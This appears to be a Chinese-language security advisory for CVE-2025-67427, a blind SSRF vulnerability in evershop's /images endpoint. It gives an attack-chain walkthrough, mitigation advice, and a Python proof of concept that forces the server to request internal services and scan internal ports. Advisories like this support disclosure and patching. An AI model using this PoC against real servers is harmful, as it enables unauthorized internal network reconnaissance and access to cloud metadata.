IPBUF安全漏洞报告
English
CVE-2025-67427 CVSS 6.5 中危

CVE-2025-67427: evershop /images API Blind SSRF漏洞

披露日期: 2026-01-05

漏洞信息

漏洞编号
CVE-2025-67427
漏洞类型
Blind SSRF (服务器端请求伪造)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
evershop

相关标签

SSRFBlind SSRFevershopCVE-2025-67427服务器端请求伪造API安全输入验证不足电商平台

漏洞概述

CVE-2025-67427是evershop电商平台中存在的一个Blind Server-Side Request Forgery(盲目服务器端请求伪造)漏洞。该漏洞影响evershop 2.1.0及之前所有版本。漏洞源于/images API端点对用户提供的src查询参数缺乏充分的输入验证。攻击者可以利用此漏洞,无需任何认证即可强制目标服务器向任意内部或外部地址发起HTTP/HTTPS请求。由于是Blind SSRF,攻击者无法直接获取响应内容,但可以通过时间延迟或外部交互来确认请求是否成功发送。此漏洞可被用于探测内网服务、访问内部资源、绕过防火墙限制、对内部系统进行端口扫描,以及作为进一步攻击的跳板。CVSS 3.1评分为6.5(中等严重程度),攻击复杂度低,无需特殊权限或用户交互即可利用。

技术细节

漏洞存在于evershop的GET /images API接口中。当用户请求图片资源时,应用程序使用src参数指定图片来源路径。问题在于该参数未经过严格的输入验证和过滤,攻击者可以注入任意HTTP或HTTPS URI作为参数值。服务器收到请求后,会直接使用该URI发起后端HTTP请求,从而实现SSRF攻击。由于服务器-side请求是在服务器端执行的,攻击者可以利用服务器的IP地址和信任关系来访问通常无法直接从外部网络访问的内部服务。例如,攻击者可以构造恶意请求强制服务器访问内部数据库、Redis缓存、AWS元数据服务(169.254.169.254)、内网管理接口等敏感资源。攻击者通常通过观察响应时间变化或利用外部监听服务来确认Blind SSRF是否成功。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用evershop框架,并确认版本<=2.1.0
STEP 2
步骤2: 发现漏洞端点
访问GET /images API接口,发现src参数未进行严格验证
STEP 3
步骤3: 构造恶意请求
构造包含内部网络地址的src参数值,如http://127.0.0.1:8080
STEP 4
步骤4: 触发SSRF
发送恶意请求,服务器端执行并向内部地址发起HTTP请求
STEP 5
步骤5: 验证攻击成功
通过响应时间或外部监听服务确认Blind SSRF是否成功
STEP 6
步骤6: 内网探测/利用
利用SSRF探测内网服务、访问元数据、绕过防火墙进行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-67427 PoC - Blind SSRF in evershop /images API # Target: evershop <= 2.1.0 # Vulnerability: Insufficient validation of 'src' query parameter TARGET = "http://target-evershop-server.com" SSRF_PAYLOAD = "http://internal-service:8080/admin" def exploit_ssrf(): """ Exploit Blind SSRF by forcing server to make request to internal service """ endpoint = f"{TARGET}/images" params = { "src": SSRF_PAYLOAD } try: response = requests.get(endpoint, params=params, timeout=10) print(f"[*] Request sent to {endpoint}") print(f"[*] SSRF payload: {SSRF_PAYLOAD}") print(f"[*] Response status: {response.status_code}") # In blind SSRF, response may not reveal internal data # Use time-based or external listener to confirm except requests.exceptions.Timeout: print("[+] Timeout detected - internal service may exist") except Exception as e: print(f"[-] Error: {e}") def port_scan_internal(): """ Use SSRF to scan internal network ports """ common_ports = [22, 80, 443, 3306, 6379, 8080, 27017] internal_host = "127.0.0.1" for port in common_ports: endpoint = f"{TARGET}/images" params = { "src": f"http://{internal_host}:{port}" } try: response = requests.get(endpoint, params=params, timeout=3) print(f"[+] Port {port} is open") except requests.exceptions.Timeout: print(f"[+] Port {port} is likely open (timeout)") except: print(f"[-] Port {port} is closed or filtered") if __name__ == "__main__": print("[*] CVE-2025-67427 - Blind SSRF Exploit") exploit_ssrf()

影响范围

evershop <= 2.1.0

防御指南

临时缓解措施
在未安装官方补丁前,可通过配置Web服务器(如Nginx)限制对/images端点的访问,对src参数进行正则匹配验证,拒绝包含内网IP、localhost或非授权域名的请求。同时可临时禁用图片外部URL加载功能,仅允许本地图片资源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表